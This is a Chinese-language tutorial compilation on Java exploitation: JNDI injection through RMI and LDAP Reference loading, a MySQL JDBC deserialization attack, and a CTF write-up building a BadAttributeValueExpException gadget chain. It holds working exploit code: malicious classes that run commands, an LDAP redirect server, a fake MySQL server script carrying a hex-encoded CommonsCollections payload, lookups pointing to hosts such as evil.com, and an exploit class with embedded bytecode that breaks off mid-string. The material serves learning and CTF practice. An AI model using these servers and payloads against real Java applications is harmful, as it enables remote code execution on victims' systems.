当我们指定一个恶意的URL地址之后,受害者在获取完这个远程对象之后,开始调用恶意方法。但是在RMI中,调用远程方法,最终的执行是服务端去执行。只是把最终的结果以序列化的形式传递给客户端,也就是这里所说的受害者。当然,如果受害者内部存在漏洞组件存在反序列化漏洞的话,我们可以构造恶意的序列化对象,返回给客户端,当客户端在进行反序列化的时候,可以触发漏洞;如果目标组件不存在反序列化漏洞,我们返回一个恶意对象,但是客户端本地没有这个class文件,当然也就不能成功获取到这个对象。

0x03.Reference类

为了解决上面这个问题,我们引入了一个Reference类,这个类表示对存在于命名或者目录系统以外的对象的引用。简单理解一下,就是如果RMI服务端返回的是一个Reference对象或者其子类对象的话,当客户端获取远程对象Stub的时候,我们就可以指定客户端从一个具体的服务端上去加载class文件从而完成这个类的实例化。

 Reference类实例化需要三个参数:

1
2
3
className:表示远程加载时所使用的类名
classFactory:加载class中需要实例类的名称
classFactoryLocation:指定远程加载类的地址

例如我们创建如下Reference类实例,并将其绑定到注册表中:

1
2
3
4
5
6
7
8
public class Server {
    public static void main(String[] args) throws NamingException, RemoteException, MalformedURLException, AlreadyBoundException {
        Reference reference = new Reference("111","evil","http://remoteurl:8080/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        LocateRegistry.createRegistry(1099);
        Naming.bind("test",referenceWrapper);
    }
}

然后编写一个evil.java恶意类,编译之后,将evil.class上传到服务器上:

1
2
3
4
5
6
7
8
9
10
import java.io.IOException;
public class evil {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();  
        }
    }
}

之后使用JNDI来远程获取这个绑定的对象,最终会在本地弹出计算器

1
2
3
4
5
6
7
public static void main(String[] args) throws NamingException {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        ctx.lookup("test");
    }

当有客户端通过 lookup("obj") 获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference 实例,客户端会首先去本地的 CLASSPATH 去寻找被标识为 ClassName 的类,如果本地未找到,则会去请求 http://example.com:12345/ClassName.class 动态加载 classes 并调用 Classfactory 的构造函数。
由此说明在获取 RMI 远程对象时,可以动态地加载外部代码进行对象类型实例化,而 JNDI 同样具有访问 RMI 远程对象的能力,只要其查找参数即 lookup() 函数的参数值可控,那么就有可能促使程序去加载和自信部署在攻击者服务器上的恶意代码。

0x04.动态协议转换

在初始化配置 JNDI 设置时可以预先指定其上下文环境(RMI、LDAP 等):

1
2
3
4
5
6
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
Context ctx = new InitialContext(env);

而在调用 lookup() 或者 search() 时,可以使用带 URL 动态的转换上下文环境,例如上面已经设置了当前上下文会访问 RMI 服务,那么可以直接使用 LDAP 的 URL格式去转换上下文环境访问 LDAP 服务上的绑定对象:

1
ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");

这里主要实现代码在这:

1
2
3
4
5
public Object lookup(String name) throws NamingException {
//getURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象,此处返回Context对象的子类rmiURLContext对象
//然后在对应协议中去lookup搜索,我们进入lookup函数
return getURLOrDefaultInitCtx(name).lookup(name);
}

getURLOrDefaultInitCtx() 函数的具体代码实现为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected Context getURLOrDefaultInitCtx(Name paramName) throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
if (paramName.size() > 0) {
String str1 = paramName.get(0);
String str2 = getURLScheme(str1); // 尝试解析 URI 中的协议
if (str2 != null) {
// 如果存在 Schema 协议,则尝试获取其对应的上下文环境
Context localContext = NamingManager.getURLContext(str2, this.myProps);
if (localContext != null) {
return localContext;
}
}
}
return getDefaultInitCtx();
}

但第一次调用 lookup() 函数的时候,会对上下文环境进行一个初始化,这时候代码会对 paramName 参数值进行一个 URL 解析,如果 paramName 包含一个特定的 Schema 协议,代码则会使用相应的工厂去初始化上下文环境,这时候不管之前配置的工厂环境是什么,这里都会被动态地对其进行替换

这里有几个坑需要注意一下:

1、首先就是jdk的版本,高版本的jdk做了限制,因此尽量使用jkd1.7版本

2、恶意类中不要带package包名,否则可能会报错

我们梳理一下整个调用流程。首先我们创建了一个Reference实例对象,这三个参数表示的意思为:当远程加载对象之后,会先从本地找111.class文件是否存在,如果不存在,则从远程服务端http://remoteurl:8080/中查找evil.class文件。接下来使用了ReferenceWrapper来包裹Reference是,原因是远程对象需要继承UnicastRemoteObject类,而Reference类并没有对该类进行继承,因此我们需要封装一下,跟进ReferenceWrapper类,可以发现其继承了UnicastRemoteObject类:

图片

对于JNDI注入漏洞,我们的攻击方式如下:(利用RMI)

1、在存在注入的地方利用RMI远程加载,指向恶意的URL

2、我们在恶意的URL上搭建一个RMI服务,并绑定一个Reference对象,并指定恶意类的加载路径

3、在服务端上放置恶意类编译后的class文件

最后进行攻击流程的总结:

  1. 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URL为 rmi://evil.com:1099/refObj;
  2. 原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换而被指向 rmi://evil.com:1099/
  3. 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj 想绑定的 ReferenceWrapper 对象(Reference(“EvilObject”, “EvilObject”, “http://realevil.com/“));
  4. 应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从 http://realevil.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://realevil.com/EvilObject.class;
  5. 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class;
  6. 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行

0x05.LDAP-JNDI注入

LDAP一般指轻型目录访问协议,可以把它理解成存储数据的数据库。和其他数据库一样,LDAP也是有client端和server端。server端是用来存放资源,client端用来操作增删改查等操作

因为LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制

需要unboundid-ldapsdk的依赖:

1
2
3
4
5
6
7
    <dependencies>
    <dependency>
        <groupId>com.unboundid</groupId>
        <artifactId>unboundid-ldapsdk</artifactId>
        <version>3.1.1</version>
    </dependency>
    </dependencies>

server是参考marshalsec,修改得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class server {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8080/#test"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

client端

1
2
3
4
5
6
7
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class client {
    public static void main(String[] args) throws NamingException {
        Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/test");
    }}

恶意类

1
2
3
4
5
public class test{
    public test() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

0x06.代码调试

具体的代码调试实现参考这篇文章

https://blog.csdn.net/weixin_54648419/article/details/123221292

从Server端解析传入的URL,直接来到RegistryContexr#lookup方法

图片

this.registry仍然是RegistryImpl_Stub,执行lookup方法获取的是一个ReferenceWrapper_Stub对象

图片

RegistryContext#decodeObject方法中会根据这个ReferenceWrapper_Stub对象获取Reference对象

图片

getReference方法,发现又调用了UnicastRef#invoke ⽅法

图片

相当于进⾏了⼀次远程⽅法调⽤

图片

图片

这里的参数正好对应着 RMI 服务端中的 ReferenceWrapper#getReference ⽅法(由ReferenceWrapper 实现的 RemoteReference 接⼝)

图片

于是这次远程⽅法调⽤的结果就是返回了远程 ReferenceWrpper 包装的 Reference 对象

图片

因为条件运算符前面成立,返回前面得表达式,继续跟进到 NamingManager#getObjectInstance ⽅法,跟到NamingManager##getObjectFactoryFromReference方法获取factory实例

跟进发现首先进行本地加载,加载失败以后,再从codebase加载factory

图片

其中,下面的LoadClass加载方式为 URLClassLoader,成功加载执行了恶意代码,最后返回factory实例

图片

JDBC(Java DataBase Connectivity)是Java和数据库之间的一个桥梁,是一个 规范 而不是一个实现,能够执行SQL语句。它由一组用Java语言编写的类和接口组成。各种不同类型的数据库都有相应的实现,简单来说,你可以理解为 JDBC是封装好的数据库接口,你可以直接使用java调用该组件的接口,他把数据库的协议封装好了,让你无需对协议进行理解即可使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
String Driver = "com.mysql .cj.jdbc.Driver"; //从 mysql-connector-java 6开始
//String Driver = "com.mysql.jdbc.Driver"; // mysql-connector-java 5
String DB_URL="jdbc:mysql://127.0.0.1:3306/security";
//1.加载启动
Class.forName(Driver);
//2.建立连接
Connection conn = DriverManager.getConnection(DB_URL,"root","root");
//3.操作数据库,实现增删改查
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from users");
//如果有数据,rs.next()返回true
while(rs.next()){
System.out.println(rs.getString("id")+" : "+rs.getString("username"));

java序列化对象特征

这个东西是为了理解下面的代码而写的.

我们先写一个简单的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Car implements Serializable {

private String name;
public Car(){
this.name ="car";
}

public static void main(String[] args) throws IOException {
Car car=new Car();
FileOutputStream fos =new FileOutputStream("output");
ObjectOutputStream oos =new ObjectOutputStream(fos);
oos.writeObject(car);
oos.close();
}
}

上面的代码把一个Car对象输出到了文件中.我们看一下文件的字节内容
图片

图片

可以看到我们序列化后的对象前两个字节分别是-84-19 .这个是java对象的一个标识,后面会用到这两个数字

原理分析

连接数据库URL中关键的地方就三个

url中的目标地址是可控的,那么连接到哪个mysql服务就可控,可以编写一个恶意的mysql服务,这个后面会提到

queryInterceptors属性相当于一个拦截器,连接代码中指定为com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor类,当执行数据库查询操作时,就经过ServerStatusDiffInterceptor类的postProcess和preProcess方法,在连接数据库时也会调用到preProcess方法

autoDeserialize属性是利用反序列化需要用到的,这个后面会提,剩下的

根据原作者的思路去分析他是如何去挖掘这个漏洞的.

  • 反序列化漏洞,那就需要可以解析我们传过来的恶意对象.而不是把我们传输过来的当做字节数据处理. 所以需要找到一个可以readObject的地方
    1
    于是作者在这里盯上了com.mysql.cj.jdbc.result.ResultSetImpl.getObject(). 主要看其中重要的逻辑代码,对源代码进行了部分删减.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public Object getObject(int columnIndex) throws SQLException {

Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
switch (field.getMysqlType()) {
case BIT:
//判断数据是不是blob或者二进制数据
if (field.isBinary() || field.isBlob()) {
byte[] data = getBytes(columnIndex);
//获取连接属性的autoDeserialize是否为true
if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
Object obj = data;
//data长度大于等于2是为了下一个判断.
if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) {
//上面已经分析过了,就是识别是不是序列化后的对象
// Serialized object?
//下面就是反序列化对象了.
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
}
}
}
return obj;
}
return data;
}

现在就是找调用 getObject的地方了.作者找到了
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()方法。

ServerStatusDiffInterceptor是一个拦截器,在JDBC URL中设定属性queryInterceptors为ServerStatusDiffInterceptor时,执行查询语句会调用拦截器的preProcess和postProcess方法,进而通过上述调用链最终调用getObject()方法。

图片

图片

图片

在JDBC连接数据库的过程中,会调用SHOW SESSION STATUS去查询,然后对结果进行处理的时候会调用resultSetToMap.跟进去

图片

到这里我们已经找到了一个利用链了.设置拦截器,然后进入到getObject,在getObject中,只要autoDeserialize 为True.就可以进入到最后readObject中.

跟进ResultSetImpl#getObject方法,一系列的操作最终会执行到反序列化操作,而反序列化的内容data变量可以通过编写的恶意mysql服务器控制!然后就是看前面的一系列判断条件了,通过columnIndexMinusOne获取field,columnIndexMinusOne又是通过columnIndex计算出来的,调试的时候columnIndex为2,columnIndexMinusOne为1,也就是上一步的第二次调用getObject方法才进入反序列化。然后判断field的类型,当field类型为BIT或者BLOB类型时(case BLOB里面的代码跟case BIT是一样的),通过columnIndex获取到反序列化的字节数组data,然后判断autoDeserialize属性值是否为true(这就是为什么前面POC中设置其为true的原因),然后data字节数组需要不为空且长度大于2,并且前两个字节为84和19(其实这个两个字节就是序列化数据的标记,这两个字节开头的数据就是序列化数据),最后进入反序列化操作

这也是POC中的queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true的由来

复现的思路

在JDBC连接MySQL的过程中,执行了SHOW SESSION STATUS语句.我们返回的结果需要是一个恶意的对象.那就是说我们需要自己写一个假的MYSQL服务.

这里就会有两种写法1.根据MYSQL的协议去写服务器. 2.抓包,模拟发包过程.

这里选择使用第二种方法

这里就直接用大佬的jio本

fake_mysql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()

def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))

def get_payload_content():
//file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > a
file= r'a'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")

else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content

# 主要逻辑
def run():

while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))

# 1.先发送第一个 问候报文
send_data(conn,greeting_data)

while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)

#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢??
//获取payload
payload_content=get_payload_content()
//计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
//计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break



if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3309

sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)

print("start fake mysql server listening on {}:{}".format(HOST,PORT))

run()

中间的原理有一点复杂不太能看懂,先挖个坑。
client:

1
2
3
4
5
6
7
8
9
10
11
12
public class JdbcClient {



public static void main(String[] args) throws Exception{
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";//8.x使用

Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}

最近刚刚入门java,找到这道题的wp,理解跟着复现下

首先看下index控制器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
@ResponseBody
@RequestMapping({"/"})
public String index(HttpServletRequest request, HttpServletResponse response) {
return "index";
}

@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021)
objectInputStream.readObject();
return "welcome bro.";
}
}

首先分析下代码逻辑吧。使用了springboot框架,不过并没在代码里体现相关特性,算是晃一枪。然后题目设置了俩个路由,一个根目录一个readobject,看到readobject其实就很明显了,这是道序列化的题。
接着进入/readobject里看,定义了一个unser方法,要求传入data,内部逻辑会先对data进行base64解码,然后转换为字节流

1
2
3
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);

接着要求name和year的值满足if判断,具体逻辑就不说了,很明显

1
2
3
4
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021)
objectInputStream.readObject();

题目主要部分分析结束,看一下给的包
图片

结果是空的,说明这道题要用java的原生类,继续看下题目有没有其他线索

题目里给了TostringBean类

图片

该类里面有个toString方法,里面有个defineClass可用于加载动态字节码

所以我们需要找一个原生类通过调用readobject来调用tostring

正好CC5就有这种类BadAttributeValueExpException

这里直接看重点,不放出CC5全部代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class BadAttributeValueExpException extends Exception   {
      private Object val;
  
  private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
}

可以看到代码最下面调用了valobj的tostring方法。valobj也是在上面通过get方法获得的,所以我们是可以通过反射来自由控制的。

整理思路写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package com;
import javax.management.BadAttributeValueExpException;
import java.util.Base64;
import java.io.*;
import java.lang.reflect.Field;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;

public class exp {
public static byte[] serialize(Object o) throws Exception {
try (ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout);) {
oout.writeUTF("gadgets");
oout.writeInt(2021);
oout.writeObject(o);
return baout.toByteArray();
}

}

public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args)throws Exception {
BadAttributeValueExpException badAdv = new BadAttributeValueExpException();
toStringBean toStringBean = new toStringBean();
setFieldValue(badAdv,"val",toStringBean);
byte[] classByte = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA\n" +
"CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP\n" +
"TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0\n" +
